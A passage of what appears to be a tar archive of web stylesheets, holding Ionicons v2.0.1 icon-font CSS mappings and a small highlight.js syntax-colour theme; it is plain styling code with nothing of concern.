before{content:"\f24d"}.ion-social-youtube-outline:before{content:"\f24c"}.ion-soup-can:before{content:"\f4f4"}.ion-soup-can-outline:before{content:"\f4f3"}.ion-speakerphone:before{content:"\f2b2"}.ion-speedometer:before{content:"\f2b3"}.ion-spoon:before{content:"\f2b4"}.ion-star:before{content:"\f24e"}.ion-stats-bars:before{content:"\f2b5"}.ion-steam:before{content:"\f30b"}.ion-stop:before{content:"\f24f"}.ion-thermometer:before{content:"\f2b6"}.ion-thumbsdown:before{content:"\f250"}.ion-thumbsup:before{content:"\f251"}.ion-toggle:before{content:"\f355"}.ion-toggle-filled:before{content:"\f354"}.ion-transgender:before{content:"\f4f5"}.ion-trash-a:before{content:"\f252"}.ion-trash-b:before{content:"\f253"}.ion-trophy:before{content:"\f356"}.ion-tshirt:before{content:"\f4f7"}.ion-tshirt-outline:before{content:"\f4f6"}.ion-umbrella:before{content:"\f2b7"}.ion-university:before{content:"\f357"}.ion-unlocked:before{content:"\f254"}.ion-upload:before{content:"\f255"}.ion-usb:before{content:"\f2b8"}.ion-videocamera:before{content:"\f256"}.ion-volume-high:before{content:"\f257"}.ion-volume-low:before{content:"\f258"}.ion-volume-medium:before{content:"\f259"}.ion-volume-mute:before{content:"\f25a"}.ion-wand:before{content:"\f358"}.ion-waterdrop:before{content:"\f25b"}.ion-wifi:before{content:"\f25c"}.ion-wineglass:before{content:"\f2b9"}.ion-woman:before{content:"\f25d"}.ion-wrench:before{content:"\f2ba"}.ion-xbox:before{content:"\f30c"}
hightlight.css 0000604 00000001727 15074420452 0007417 0 ustar 00 /*
Style with support for rainbow parens
*/
.hljs {
display: block;
overflow-x: auto;
padding: 0.5em;
background: #474949;
color: #d1d9e1;
}
.hljs-comment,
.hljs-quote {
color: #969896;
font-style: italic;
}
.hljs-keyword,
.hljs-selector-tag,
.hljs-literal,
.hljs-type,
.hljs-addition {
color: #cc99cc;
}
.hljs-number,
.hljs-selector-attr,
.hljs-selector-pseudo {
color: #f99157;
}
.hljs-string,
.hljs-doctag,
.hljs-regexp {
color: #8abeb7;
}
.hljs-title,
.hljs-name,
.hljs-section,
.hljs-built_in {
color: #b5bd68;
}
.hljs-variable,
.hljs-template-variable,
.hljs-selector-id,
.hljs-class .hljs-title {
color: #ffcc66;
}
.hljs-section,
.hljs-name,
.hljs-strong {
font-weight: bold;
}
.hljs-symbol,
.hljs-bullet,
.hljs-subst,
.hljs-meta,
.hljs-link {
color: #f99157;
}
.hljs-deletion {
color: #dc322f;
}
.hljs-formula {
background: #eee8d5;
}
.hljs-attr,
.hljs-attribute {
color: #81a2be;
}
.hljs-emphasis {
font-style: italic;
} ionicons.css 0000604 00000157551 15074420452 0007114 0 ustar 00 @charset "UTF-8";
/*!
Ionicons, v2.0.1
Created by Ben Sperry for the Ionic Framework, http://ionicons.com/
https://twitter.com/benjsperry https://twitter.com/ionicframework
MIT License: https://github.com/driftyco/ionicons
Android-style icons originally built by Google’s
Material Design Icons: https://github.com/google/material-design-icons
used under CC BY http://creativecommons.org/licenses/by/4.0/
Modified icons to fit ionicon’s grid from original.
*/
@font-face { font-family: "Ionicons"; src: url("../fonts/ionicons.eot?v=2.0.1"); src: url("../fonts/ionicons.eot?v=2.0.1#iefix") format("embedded-opentype"), url("../fonts/ionicons.ttf?v=2.0.1") format("truetype"), url("../fonts/ionicons.woff?v=2.0.1") format("woff"), url("../fonts/ionicons.svg?v=2.0.1#Ionicons") format("svg"); font-weight: normal; font-style: normal; }
.ion, .ionicons, .ion-alert:before, .ion-alert-circled:before, .ion-android-add:before, .ion-android-add-circle:before, .ion-android-alarm-clock:before, .ion-android-alert:before, .ion-android-apps:before, .ion-android-archive:before, .ion-android-arrow-back:before, .ion-android-arrow-down:before, .ion-android-arrow-dropdown:before, .ion-android-arrow-dropdown-circle:before, .ion-android-arrow-dropleft:before, .ion-android-arrow-dropleft-circle:before, .ion-android-arrow-dropright:before, .ion-android-arrow-dropright-circle:before, .ion-android-arrow-dropup:before, .ion-android-arrow-dropup-circle:before, .ion-android-arrow-forward:before, .ion-android-arrow-up:before, .ion-android-attach:before, .ion-android-bar:before, .ion-android-bicycle:before, .ion-android-boat:before, .ion-android-bookmark:before, .ion-android-bulb:before, .ion-android-bus:before, .ion-android-calendar:before, .ion-android-call:before, .ion-android-camera:before, .ion-android-cancel:before, .ion-android-car:before, .ion-android-cart:before, .ion-android-chat:before, .ion-android-checkbox:before, .ion-android-checkbox-blank:before, .ion-android-checkbox-outline:before, .ion-android-checkbox-outline-blank:before, .ion-android-checkmark-circle:before, .ion-android-clipboard:before, .ion-android-close:before, .ion-android-cloud:before, .ion-android-cloud-circle:before, .ion-android-cloud-done:before, .ion-android-cloud-outline:before, .ion-android-color-palette:before, .ion-android-compass:before, .ion-android-contact:before, .ion-android-contacts:before, .ion-android-contract:before, .ion-android-create:before, .ion-android-delete:before, .ion-android-desktop:before, .ion-android-document:before, .ion-android-done:before, .ion-android-done-all:before, .ion-android-download:before, .ion-android-drafts:before, .ion-android-exit:before, .ion-android-expand:before, .ion-android-favorite:before, .ion-android-favorite-outline:before, .ion-android-film:before, .ion-android-folder:before, .ion-android-folder-open:before, .ion-android-funnel:before, .ion-android-globe:before, .ion-android-hand:before, .ion-android-hangout:before, .ion-android-happy:before, .ion-android-home:before, .ion-android-image:before, .ion-android-laptop:before, .ion-android-list:before, .ion-android-locate:before, .ion-android-lock:before, .ion-android-mail:before, .ion-android-map:before, .ion-android-menu:before, .ion-android-microphone:before, .ion-android-microphone-off:before, .ion-android-more-horizontal:before, .ion-android-more-vertical:before, .ion-android-navigate:before, .ion-android-notifications:before, .ion-android-notifications-none:before, .ion-android-notifications-off:before, .ion-android-open:before, .ion-android-options:before, .ion-android-people:before, .ion-android-person:before, .ion-android-person-add:before, .ion-android-phone-landscape:before, .ion-android-phone-portrait:before, .ion-android-pin:before, .ion-android-plane:before, .ion-android-playstore:before, .ion-android-print:before, .ion-android-radio-button-off:before, .ion-android-radio-button-on:before, .ion-android-refresh:before, .ion-android-remove:before, .ion-android-remove-circle:before, .ion-android-restaurant:before, .ion-android-sad:before, .ion-android-search:before, .ion-android-send:before, .ion-android-settings:before, .ion-android-share:before, .ion-android-share-alt:before, .ion-android-star:before, .ion-android-star-half:before, .ion-android-star-outline:before, .ion-android-stopwatch:before, .ion-android-subway:before, .ion-android-sunny:before, .ion-android-sync:before, .ion-android-textsms:before, .ion-android-time:before, .ion-android-train:before, .ion-android-unlock:before, .ion-android-upload:before, .ion-android-volume-down:before, .ion-android-volume-mute:before, .ion-android-volume-off:before, .ion-android-volume-up:before, .ion-android-walk:before, .ion-android-warning:before, .ion-android-watch:before, .ion-android-wifi:before, .ion-aperture:before, .ion-archive:before, .ion-arrow-down-a:before, .ion-arrow-down-b:before, .ion-arrow-down-c:before, .ion-arrow-expand:before, .ion-arrow-graph-down-left:before, .ion-arrow-graph-down-right:before, .ion-arrow-graph-up-left:before, .ion-arrow-graph-up-right:before, .ion-arrow-left-a:before, .ion-arrow-left-b:before, .ion-arrow-left-c:before, .ion-arrow-move:before, .ion-arrow-resize:before, .ion-arrow-return-left:before, .ion-arrow-return-right:before, .ion-arrow-right-a:before, .ion-arrow-right-b:before, .ion-arrow-right-c:before, .ion-arrow-shrink:before, .ion-arrow-swap:before, .ion-arrow-up-a:before, .ion-arrow-up-b:before, .ion-arrow-up-c:before, .ion-asterisk:before, .ion-at:before, .ion-backspace:before, .ion-backspace-outline:before, .ion-bag:before, .ion-battery-charging:before, .ion-battery-empty:before, .ion-battery-full:before, .ion-battery-half:before, .ion-battery-low:before, .ion-beaker:before, .ion-beer:before, .ion-bluetooth:before, .ion-bonfire:before, .ion-bookmark:before, .ion-bowtie:before, .ion-briefcase:before, .ion-bug:before, .ion-calculator:before, .ion-calendar:before, .ion-camera:before, .ion-card:before, .ion-cash:before, .ion-chatbox:before, .ion-chatbox-working:before, .ion-chatboxes:before, .ion-chatbubble:before, .ion-chatbubble-working:before, .ion-chatbubbles:before, .ion-checkmark:before, .ion-checkmark-circled:before, .ion-checkmark-round:before, .ion-chevron-down:before, .ion-chevron-left:before, .ion-chevron-right:before, .ion-chevron-up:before, .ion-clipboard:before, .ion-clock:before, .ion-close:before, .ion-close-circled:before, .ion-close-round:before, .ion-closed-captioning:before, .ion-cloud:before, .ion-code:before, .ion-code-download:before, .ion-code-working:before, .ion-coffee:before, .ion-compass:before, .ion-compose:before, .ion-connection-bars:before, .ion-contrast:before, .ion-crop:before, .ion-cube:before, .ion-disc:before, .ion-document:before, .ion-document-text:before, .ion-drag:before, .ion-earth:before, .ion-easel:before, .ion-edit:before, .ion-egg:before, .ion-eject:before, .ion-email:before, .ion-email-unread:before, .ion-erlenmeyer-flask:before, .ion-erlenmeyer-flask-bubbles:before, .ion-eye:before, .ion-eye-disabled:before, .ion-female:before, .ion-filing:before, .ion-film-marker:before, .ion-fireball:before, .ion-flag:before, .ion-flame:before, .ion-flash:before, .ion-flash-off:before, .ion-folder:before, .ion-fork:before, .ion-fork-repo:before, .ion-forward:before, .ion-funnel:before, .ion-gear-a:before, .ion-gear-b:before, .ion-grid:before, .ion-hammer:before, .ion-happy:before, .ion-happy-outline:before, .ion-headphone:before, .ion-heart:before, .ion-heart-broken:before, .ion-help:before, .ion-help-buoy:before, .ion-help-circled:before, .ion-home:before, .ion-icecream:before, .ion-image:before, .ion-images:before, .ion-information:before, .ion-information-circled:before, .ion-ionic:before, .ion-ios-alarm:before, .ion-ios-alarm-outline:before, .ion-ios-albums:before, .ion-ios-albums-outline:before, .ion-ios-americanfootball:before, .ion-ios-americanfootball-outline:before, .ion-ios-analytics:before, .ion-ios-analytics-outline:before, .ion-ios-arrow-back:before, .ion-ios-arrow-down:before, .ion-ios-arrow-forward:before, .ion-ios-arrow-left:before, .ion-ios-arrow-right:before, .ion-ios-arrow-thin-down:before, .ion-ios-arrow-thin-left:before, .ion-ios-arrow-thin-right:before, .ion-ios-arrow-thin-up:before, .ion-ios-arrow-up:before, .ion-ios-at:before, .ion-ios-at-outline:before, .ion-ios-barcode:before, .ion-ios-barcode-outline:before, .ion-ios-baseball:before, .ion-ios-baseball-outline:before, .ion-ios-basketball:before, .ion-ios-basketball-outline:before, .ion-ios-bell:before, .ion-ios-bell-outline:before, .ion-ios-body:before, .ion-ios-body-outline:before, .ion-ios-bolt:before, .ion-ios-bolt-outline:before, .ion-ios-book:before, .ion-ios-book-outline:before, .ion-ios-bookmarks:before, .ion-ios-bookmarks-outline:before, .ion-ios-box:before, .ion-ios-box-outline:before, .ion-ios-briefcase:before, .ion-ios-briefcase-outline:before, .ion-ios-browsers:before, .ion-ios-browsers-outline:before, .ion-ios-calculator:before, .ion-ios-calculator-outline:before, .ion-ios-calendar:before, .ion-ios-calendar-outline:before, .ion-ios-camera:before, .ion-ios-camera-outline:before, .ion-ios-cart:before, .ion-ios-cart-outline:before, .ion-ios-chatboxes:before, .ion-ios-chatboxes-outline:before, .ion-ios-chatbubble:before, .ion-ios-chatbubble-outline:before, .ion-ios-checkmark:before, .ion-ios-checkmark-empty:before, .ion-ios-checkmark-outline:before, .ion-ios-circle-filled:before, .ion-ios-circle-outline:before, .ion-ios-clock:before, .ion-ios-clock-outline:before, .ion-ios-close:before, .ion-ios-close-empty:before, .ion-ios-close-outline:before, .ion-ios-cloud:before, .ion-ios-cloud-download:before, .ion-ios-cloud-download-outline:before, .ion-ios-cloud-outline:before, .ion-ios-cloud-upload:before, .ion-ios-cloud-upload-outline:before, .ion-ios-cloudy:before, .ion-ios-cloudy-night:before, .ion-ios-cloudy-night-outline:before, .ion-ios-cloudy-outline:before, .ion-ios-cog:before, .ion-ios-cog-outline:before, .ion-ios-color-filter:before, .ion-ios-color-filter-outline:before, .ion-ios-color-wand:before, .ion-ios-color-wand-outline:before, .ion-ios-compose:before, .ion-ios-compose-outline:before, .ion-ios-contact:before, .ion-ios-contact-outline:before, .ion-ios-copy:before, .ion-ios-copy-outline:before, .ion-ios-crop:before, .ion-ios-crop-strong:before, .ion-ios-download:before, .ion-ios-download-outline:before, .ion-ios-drag:before, .ion-ios-email:before, .ion-ios-email-outline:before, .ion-ios-eye:before, .ion-ios-eye-outline:before, .ion-ios-fastforward:before, .ion-ios-fastforward-outline:before, .ion-ios-filing:before, .ion-ios-filing-outline:before, .ion-ios-film:before, .ion-ios-film-outline:before, .ion-ios-flag:before, .ion-ios-flag-outline:before, .ion-ios-flame:before, .ion-ios-flame-outline:before, .ion-ios-flask:before, .ion-ios-flask-outline:before, .ion-ios-flower:before, .ion-ios-flower-outline:before, .ion-ios-folder:before, .ion-ios-folder-outline:before, .ion-ios-football:before, .ion-ios-football-outline:before, .ion-ios-game-controller-a:before, .ion-ios-game-controller-a-outline:before, .ion-ios-game-controller-b:before, .ion-ios-game-controller-b-outline:before, .ion-ios-gear:before, .ion-ios-gear-outline:before, .ion-ios-glasses:before, .ion-ios-glasses-outline:before, .ion-ios-grid-view:before, .ion-ios-grid-view-outline:before, .ion-ios-heart:before, .ion-ios-heart-outline:before, .ion-ios-help:before, .ion-ios-help-empty:before, .ion-ios-help-outline:before, .ion-ios-home:before, .ion-ios-home-outline:before, .ion-ios-infinite:before, .ion-ios-infinite-outline:before, .ion-ios-information:before, .ion-ios-information-empty:before, .ion-ios-information-outline:before, .ion-ios-ionic-outline:before, .ion-ios-keypad:before, .ion-ios-keypad-outline:before, .ion-ios-lightbulb:before, .ion-ios-lightbulb-outline:before, .ion-ios-list:before, .ion-ios-list-outline:before, .ion-ios-location:before, .ion-ios-location-outline:before, .ion-ios-locked:before, .ion-ios-locked-outline:before, .ion-ios-loop:before, .ion-ios-loop-strong:before, .ion-ios-medical:before, .ion-ios-medical-outline:before, .ion-ios-medkit:before, .ion-ios-medkit-outline:before, .ion-ios-mic:before, .ion-ios-mic-off:before, .ion-ios-mic-outline:before, .ion-ios-minus:before, .ion-ios-minus-empty:before, .ion-ios-minus-outline:before, .ion-ios-monitor:before, .ion-ios-monitor-outline:before, .ion-ios-moon:before, .ion-ios-moon-outline:before, .ion-ios-more:before, .ion-ios-more-outline:before, .ion-ios-musical-note:before, .ion-ios-musical-notes:before, .ion-ios-navigate:before, .ion-ios-navigate-outline:before, .ion-ios-nutrition:before, .ion-ios-nutrition-outline:before, .ion-ios-paper:before, .ion-ios-paper-outline:before, .ion-ios-paperplane:before, .ion-ios-paperplane-outline:before, .ion-ios-partlysunny:before, .ion-ios-partlysunny-outline:before, .ion-ios-pause:before, .ion-ios-pause-outline:before, .ion-ios-paw:before, .ion-ios-paw-outline:before, .ion-ios-people:before, .ion-ios-people-outline:before, .ion-ios-person:before, .ion-ios-person-outline:before, .ion-ios-personadd:before, .ion-ios-personadd-outline:before, .ion-ios-photos:before, .ion-ios-photos-outline:before, .ion-ios-pie:before, .ion-ios-pie-outline:before, .ion-ios-pint:before, .ion-ios-pint-outline:before, .ion-ios-play:before, .ion-ios-play-outline:before, .ion-ios-plus:before, .ion-ios-plus-empty:before, .ion-ios-plus-outline:before, .ion-ios-pricetag:before, .ion-ios-pricetag-outline:before, .ion-ios-pricetags:before, .ion-ios-pricetags-outline:before, .ion-ios-printer:before, .ion-ios-printer-outline:before, .ion-ios-pulse:before, .ion-ios-pulse-strong:before, .ion-ios-rainy:before, .ion-ios-rainy-outline:before, .ion-ios-recording:before, .ion-ios-recording-outline:before, .ion-ios-redo:before, .ion-ios-redo-outline:before, .ion-ios-refresh:before, .ion-ios-refresh-empty:before, .ion-ios-refresh-outline:before, .ion-ios-reload:before, .ion-ios-reverse-camera:before, .ion-ios-reverse-camera-outline:before, .ion-ios-rewind:before, .ion-ios-rewind-outline:before, .ion-ios-rose:before, .ion-ios-rose-outline:before, .ion-ios-search:before, .ion-ios-search-strong:before, .ion-ios-settings:before, .ion-ios-settings-strong:before, .ion-ios-shuffle:before, .ion-ios-shuffle-strong:before, .ion-ios-skipbackward:before, .ion-ios-skipbackward-outline:before, .ion-ios-skipforward:before, .ion-ios-skipforward-outline:before, .ion-ios-snowy:before, .ion-ios-speedometer:before, .ion-ios-speedometer-outline:before, .ion-ios-star:before, .ion-ios-star-half:before, .ion-ios-star-outline:before, .ion-ios-stopwatch:before, .ion-ios-stopwatch-outline:before, .ion-ios-sunny:before, .ion-ios-sunny-outline:before, .ion-ios-telephone:before, .ion-ios-telephone-outline:before, .ion-ios-tennisball:before, .ion-ios-tennisball-outline:before, .ion-ios-thunderstorm:before, .ion-ios-thunderstorm-outline:before, .ion-ios-time:before, .ion-ios-time-outline:before, .ion-ios-timer:before, .ion-ios-timer-outline:before, .ion-ios-toggle:before, .ion-ios-toggle-outline:before, .ion-ios-trash:before, .ion-ios-trash-outline:before, .ion-ios-undo:before, .ion-ios-undo-outline:before, .ion-ios-unlocked:before, .ion-ios-unlocked-outline:before, .ion-ios-upload:before, .ion-ios-upload-outline:before, .ion-ios-videocam:before, .ion-ios-videocam-outline:before, .ion-ios-volume-high:before, .ion-ios-volume-low:before, .ion-ios-wineglass:before, .ion-ios-wineglass-outline:before, .ion-ios-world:before, .ion-ios-world-outline:before, .ion-ipad:before, .ion-iphone:before, .ion-ipod:before, .ion-jet:before, .ion-key:before, .ion-knife:before, .ion-laptop:before, .ion-leaf:before, .ion-levels:before, .ion-lightbulb:before, .ion-link:before, .ion-load-a:before, .ion-load-b:before, .ion-load-c:before, .ion-load-d:before, .ion-location:before, .ion-lock-combination:before, .ion-locked:before, .ion-log-in:before, .ion-log-out:before, .ion-loop:before, .ion-magnet:before, .ion-male:before, .ion-man:before, .ion-map:before, .ion-medkit:before, .ion-merge:before, .ion-mic-a:before, .ion-mic-b:before, .ion-mic-c:before, .ion-minus:before, .ion-minus-circled:before, .ion-minus-round:before, .ion-model-s:before, .ion-monitor:before, .ion-more:before, .ion-mouse:before, .ion-music-note:before, .ion-navicon:before, .ion-navicon-round:before, .ion-navigate:before, .ion-network:before, .ion-no-smoking:before, .ion-nuclear:before, .ion-outlet:before, .ion-paintbrush:before, .ion-paintbucket:before, .ion-paper-airplane:before, .ion-paperclip:before, .ion-pause:before, .ion-person:before, .ion-person-add:before, .ion-person-stalker:before, .ion-pie-graph:before, .ion-pin:before, .ion-pinpoint:before, .ion-pizza:before, .ion-plane:before, .ion-planet:before, .ion-play:before, .ion-playstation:before, .ion-plus:before, .ion-plus-circled:before, .ion-plus-round:before, .ion-podium:before, .ion-pound:before, .ion-power:before, .ion-pricetag:before, .ion-pricetags:before, .ion-printer:before, .ion-pull-request:before, .ion-qr-scanner:before, .ion-quote:before, .ion-radio-waves:before, .ion-record:before, .ion-refresh:before, .ion-reply:before, .ion-reply-all:before, .ion-ribbon-a:before, .ion-ribbon-b:before, .ion-sad:before, .ion-sad-outline:before, .ion-scissors:before, .ion-search:before, .ion-settings:before, .ion-share:before, .ion-shuffle:before, .ion-skip-backward:before, .ion-skip-forward:before, .ion-social-android:before, .ion-social-android-outline:before, .ion-social-angular:before, .ion-social-angular-outline:before, .ion-social-apple:before, .ion-social-apple-outline:before, .ion-social-bitcoin:before, .ion-social-bitcoin-outline:before, .ion-social-buffer:before, .ion-social-buffer-outline:before, .ion-social-chrome:before, .ion-social-chrome-outline:before, .ion-social-codepen:before, .ion-social-codepen-outline:before, .ion-social-css3:before, .ion-social-css3-outline:before, .ion-social-designernews:before, .ion-social-designernews-outline:before, .ion-social-dribbble:before, .ion-social-dribbble-outline:before, .ion-social-dropbox:before, .ion-social-dropbox-outline:before, .ion-social-euro:before, .ion-social-euro-outline:before, .ion-social-facebook:before, .ion-social-facebook-outline:before, .ion-social-foursquare:before, .ion-social-foursquare-outline:before, .ion-social-freebsd-devil:before, .ion-social-github:before, .ion-social-github-outline:before, .ion-social-google:before, .ion-social-google-outline:before, .ion-social-googleplus:before, .ion-social-googleplus-outline:before, .ion-social-hackernews:before, .ion-social-hackernews-outline:before, .ion-social-html5:before, .ion-social-html5-outline:before, .ion-social-instagram:before, .ion-social-instagram-outline:before, .ion-social-javascript:before, .ion-social-javascript-outline:before, .ion-social-linkedin:before, .ion-social-linkedin-outline:before, .ion-social-markdown:before, .ion-social-nodejs:before, .ion-social-octocat:before, .ion-social-pinterest:before, .ion-social-pinterest-outline:before, .ion-social-python:before, .ion-social-reddit:before, .ion-social-reddit-outline:before, .ion-social-rss:before, .ion-social-rss-outline:before, .ion-social-sass:before, .ion-social-skype:before, .ion-social-skype-outline:before, .ion-social-snapchat:before, .ion-social-snapchat-outline:before, .ion-social-tumblr:before, .ion-social-tumblr-outline:before, .ion-social-tux:before, .ion-social-twitch:before, .ion-social-twitch-outline:before, .ion-social-twitter:before, .ion-social-twitter-outline:before, .ion-social-usd:before, .ion-social-usd-outline:before, .ion-social-vimeo:before, .ion-social-vimeo-outline:before, .ion-social-whatsapp:before, .ion-social-whatsapp-outline:before, .ion-social-windows:before, .ion-social-windows-outline:before, .ion-social-wordpress:before, .ion-social-wordpress-outline:before, .ion-social-yahoo:before, .ion-social-yahoo-outline:before, .ion-social-yen:before, .ion-social-yen-outline:before, .ion-social-youtube:before, .ion-social-youtube-outline:before, .ion-soup-can:before, .ion-soup-can-outline:before, .ion-speakerphone:before, .ion-speedometer:before, .ion-spoon:before, .ion-star:before, .ion-stats-bars:before, .ion-steam:before, .ion-stop:before, .ion-thermometer:before, .ion-thumbsdown:before, .ion-thumbsup:before, .ion-toggle:before, .ion-toggle-filled:before, .ion-transgender:before, .ion-trash-a:before, .ion-trash-b:before, .ion-trophy:before, .ion-tshirt:before, .ion-tshirt-outline:before, .ion-umbrella:before, .ion-university:before, .ion-unlocked:before, .ion-upload:before, .ion-usb:before, .ion-videocamera:before, .ion-volume-high:before, .ion-volume-low:before, .ion-volume-medium:before, .ion-volume-mute:before, .ion-wand:before, .ion-waterdrop:before, .ion-wifi:before, .ion-wineglass:before, .ion-woman:before, .ion-wrench:before, .ion-xbox:before { display: inline-block; font-family: "Ionicons"; speak: none; font-style: normal; font-weight: normal; font-variant: normal; text-transform: none; text-rendering: auto; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; }
.ion-alert:before { content: "\f101"; }
.ion-alert-circled:before { content: "\f100"; }
.ion-android-add:before { content: "\f2c7"; }
.ion-android-add-circle:before { content: "\f359"; }
.ion-android-alarm-clock:before { content: "\f35a"; }
.ion-android-alert:before { content: "\f35b"; }
.ion-android-apps:before { content: "\f35c"; }
.ion-android-archive:before { content: "\f2c9"; }
.ion-android-arrow-back:before { content: "\f2ca"; }
.ion-android-arrow-down:before { content: "\f35d"; }
.ion-android-arrow-dropdown:before { content: "\f35f"; }
.ion-android-arrow-dropdown-circle:before { content: "\f35e"; }
.ion-android-arrow-dropleft:before { content: "\f361"; }
.ion-android-arrow-dropleft-circle:before { content: "\f360"; }
.ion-android-arrow-dropright:before { content: "\f363"; }
.ion-android-arrow-dropright-circle:before { content: "\f362"; }
.ion-android-arrow-dropup:before { content: "\f365"; }
.ion-android-arrow-dropup-circle:before { content: "\f364"; }
.ion-android-arrow-forward:before { content: "\f30f"; }
.ion-android-arrow-up:before { content: "\f366"; }
.ion-android-attach:before { content: "\f367"; }
.ion-android-bar:before { content: "\f368"; }
.ion-android-bicycle:before { content: "\f369"; }
.ion-android-boat:before { content: "\f36a"; }
.ion-android-bookmark:before { content: "\f36b"; }
.ion-android-bulb:before { content: "\f36c"; }
.ion-android-bus:before { content: "\f36d"; }
.ion-android-calendar:before { content: "\f2d1"; }
.ion-android-call:before { content: "\f2d2"; }
.ion-android-camera:before { content: "\f2d3"; }
.ion-android-cancel:before { content: "\f36e"; }
.ion-android-car:before { content: "\f36f"; }
.ion-android-cart:before { content: "\f370"; }
.ion-android-chat:before { content: "\f2d4"; }
.ion-android-checkbox:before { content: "\f374"; }
.ion-android-checkbox-blank:before { content: "\f371"; }
.ion-android-checkbox-outline:before { content: "\f373"; }
.ion-android-checkbox-outline-blank:before { content: "\f372"; }
.ion-android-checkmark-circle:before { content: "\f375"; }
.ion-android-clipboard:before { content: "\f376"; }
.ion-android-close:before { content: "\f2d7"; }
.ion-android-cloud:before { content: "\f37a"; }
.ion-android-cloud-circle:before { content: "\f377"; }
.ion-android-cloud-done:before { content: "\f378"; }
.ion-android-cloud-outline:before { content: "\f379"; }
.ion-android-color-palette:before { content: "\f37b"; }
.ion-android-compass:before { content: "\f37c"; }
.ion-android-contact:before { content: "\f2d8"; }
.ion-android-contacts:before { content: "\f2d9"; }
.ion-android-contract:before { content: "\f37d"; }
.ion-android-create:before { content: "\f37e"; }
.ion-android-delete:before { content: "\f37f"; }
.ion-android-desktop:before { content: "\f380"; }
.ion-android-document:before { content: "\f381"; }
.ion-android-done:before { content: "\f383"; }
.ion-android-done-all:before { content: "\f382"; }
.ion-android-download:before { content: "\f2dd"; }
.ion-android-drafts:before { content: "\f384"; }
.ion-android-exit:before { content: "\f385"; }
.ion-android-expand:before { content: "\f386"; }
.ion-android-favorite:before { content: "\f388"; }
.ion-android-favorite-outline:before { content: "\f387"; }
.ion-android-film:before { content: "\f389"; }
.ion-android-folder:before { content: "\f2e0"; }
.ion-android-folder-open:before { content: "\f38a"; }
.ion-android-funnel:before { content: "\f38b"; }
.ion-android-globe:before { content: "\f38c"; }
.ion-android-hand:before { content: "\f2e3"; }
.ion-android-hangout:before { content: "\f38d"; }
.ion-android-happy:before { content: "\f38e"; }
.ion-android-home:before { content: "\f38f"; }
.ion-android-image:before { content: "\f2e4"; }
.ion-android-laptop:before { content: "\f390"; }
.ion-android-list:before { content: "\f391"; }
.ion-android-locate:before { content: "\f2e9"; }
.ion-android-lock:before { content: "\f392"; }
.ion-android-mail:before { content: "\f2eb"; }
.ion-android-map:before { content: "\f393"; }
.ion-android-menu:before { content: "\f394"; }
.ion-android-microphone:before { content: "\f2ec"; }
.ion-android-microphone-off:before { content: "\f395"; }
.ion-android-more-horizontal:before { content: "\f396"; }
.ion-android-more-vertical:before { content: "\f397"; }
.ion-android-navigate:before { content: "\f398"; }
.ion-android-notifications:before { content: "\f39b"; }
.ion-android-notifications-none:before { content: "\f399"; }
.ion-android-notifications-off:before { content: "\f39a"; }
.ion-android-open:before { content: "\f39c"; }
.ion-android-options:before { content: "\f39d"; }
.ion-android-people:before { content: "\f39e"; }
.ion-android-person:before { content: "\f3a0"; }
.ion-android-person-add:before { content: "\f39f"; }
.ion-android-phone-landscape:before { content: "\f3a1"; }
.ion-android-phone-portrait:before { content: "\f3a2"; }
.ion-android-pin:before { content: "\f3a3"; }
.ion-android-plane:before { content: "\f3a4"; }
.ion-android-playstore:before { content: "\f2f0"; }
.ion-android-print:before { content: "\f3a5"; }
.ion-android-radio-button-off:before { content: "\f3a6"; }
.ion-android-radio-button-on:before { content: "\f3a7"; }
.ion-android-refresh:before { content: "\f3a8"; }
.ion-android-remove:before { content: "\f2f4"; }
.ion-android-remove-circle:before { content: "\f3a9"; }
.ion-android-restaurant:before { content: "\f3aa"; }
.ion-android-sad:before { content: "\f3ab"; }
.ion-android-search:before { content: "\f2f5"; }
.ion-android-send:before { content: "\f2f6"; }
.ion-android-settings:before { content: "\f2f7"; }
.ion-android-share:before { content: "\f2f8"; }
.ion-android-share-alt:before { content: "\f3ac"; }
.ion-android-star:before { content: "\f2fc"; }
.ion-android-star-half:before { content: "\f3ad"; }
.ion-android-star-outline:before { content: "\f3ae"; }
.ion-android-stopwatch:before { content: "\f2fd"; }
.ion-android-subway:before { content: "\f3af"; }
.ion-android-sunny:before { content: "\f3b0"; }
.ion-android-sync:before { content: "\f3b1"; }
.ion-android-textsms:before { content: "\f3b2"; }
.ion-android-time:before { content: "\f3b3"; }
.ion-android-train:before { content: "\f3b4"; }
.ion-android-unlock:before { content: "\f3b5"; }
.ion-android-upload:before { content: "\f3b6"; }
.ion-android-volume-down:before { content: "\f3b7"; }
.ion-android-volume-mute:before { content: "\f3b8"; }
.ion-android-volume-off:before { content: "\f3b9"; }
.ion-android-volume-up:before { content: "\f3ba"; }
.ion-android-walk:before { content: "\f3bb"; }
.ion-android-warning:before { content: "\f3bc"; }
.ion-android-watch:before { content: "\f3bd"; }
.ion-android-wifi:before { content: "\f305"; }
.ion-aperture:before { content: "\f313"; }
.ion-archive:before { content: "\f102"; }
.ion-arrow-down-a:before { content: "\f103"; }
.ion-arrow-down-b:before { content: "\f104"; }
.ion-arrow-down-c:before { content: "\f105"; }
.ion-arrow-expand:before { content: "\f25e"; }
.ion-arrow-graph-down-left:before { content: "\f25f"; }
.ion-arrow-graph-down-right:before { content: "\f260"; }
.ion-arrow-graph-up-left:before { content: "\f261"; }
.ion-arrow-graph-up-right:before { content: "\f262"; }
.ion-arrow-left-a:before { content: "\f106"; }
.ion-arrow-left-b:before { content: "\f107"; }
.ion-arrow-left-c:before { content: "\f108"; }
.ion-arrow-move:before { content: "\f263"; }
.ion-arrow-resize:before { content: "\f264"; }
.ion-arrow-return-left:before { content: "\f265"; }
.ion-arrow-return-right:before { content: "\f266"; }
.ion-arrow-right-a:before { content: "\f109"; }
.ion-arrow-right-b:before { content: "\f10a"; }
.ion-arrow-right-c:before { content: "\f10b"; }
.ion-arrow-shrink:before { content: "\f267"; }
.ion-arrow-swap:before { content: "\f268"; }
.ion-arrow-up-a:before { content: "\f10c"; }
.ion-arrow-up-b:before { content: "\f10d"; }
.ion-arrow-up-c:before { content: "\f10e"; }
.ion-asterisk:before { content: "\f314"; }
.ion-at:before { content: "\f10f"; }
.ion-backspace:before { content: "\f3bf"; }
.ion-backspace-outline:before { content: "\f3be"; }
.ion-bag:before { content: "\f110"; }
.ion-battery-charging:before { content: "\f111"; }
.ion-battery-empty:before { content: "\f112"; }
.ion-battery-full:before { content: "\f113"; }
.ion-battery-half:before { content: "\f114"; }
.ion-battery-low:before { content: "\f115"; }
